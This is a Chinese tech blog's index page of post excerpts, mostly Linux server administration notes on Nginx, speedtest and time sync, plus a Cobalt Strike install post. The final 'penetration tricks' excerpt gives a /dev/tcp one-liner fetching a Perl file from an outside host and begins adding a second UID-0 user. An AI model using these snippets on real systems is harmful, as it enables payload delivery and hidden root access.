Nginx设置开机自启

2021年06月19日  No comment

  以centos为例  进入/etc/init.d/目录,新添加nginx文件#!/bin/sh # # nginx - this script starts and stops the nginx daemon # # chkconfig:   - 85 15 # description: &n
阅读全文 »

Linux服务器使用speedtest-cli测速

2020年11月30日  No comment

需要在python环境下使用pip install speedtest-clispeedtest-clispeedtest-cli --list | grep Chinaspeedtest-cli --server 4870
阅读全文 »

Linux同步时间

2020年11月29日  No comment

 由于NTP服务同步时间存在秒的误差采用 tzselect 来精准设置cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtimeordate -s 20/11/29 date -s 23:35:09
阅读全文 »

Nginx反向代理镜像网站

2020年11月14日  No comment

  链接:https://pan.baidu.com/s/1NmFd4EAgpR6D0xj3vcKE3g 密码:a834 tar -zxvf nginx-1.7.5.tar.gz  tar -zxvf pcre-8.37.tar.gz   tar -zxvf openssl-1.0.2a.tar.gz   tar -zxvf&nbs
阅读全文 »

安装cobalt strike踩坑记录

2019年11月07日  No comment

安装cobalt strike踩坑记录yum -y installed|grep java                 //检查已安装java版本 yum -y remove java*    //卸载已安装的java&nbs
阅读全文 »

linux常用渗透小技巧

2019年08月09日  No comment

无wget nc等下载工具时下载文件exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e “GET /c.pl HTTP/1.0\n” >&5 && cat<&5 > c.pl2.Linux添加uid为0的用户useradd -o -u 0 
阅读全文 »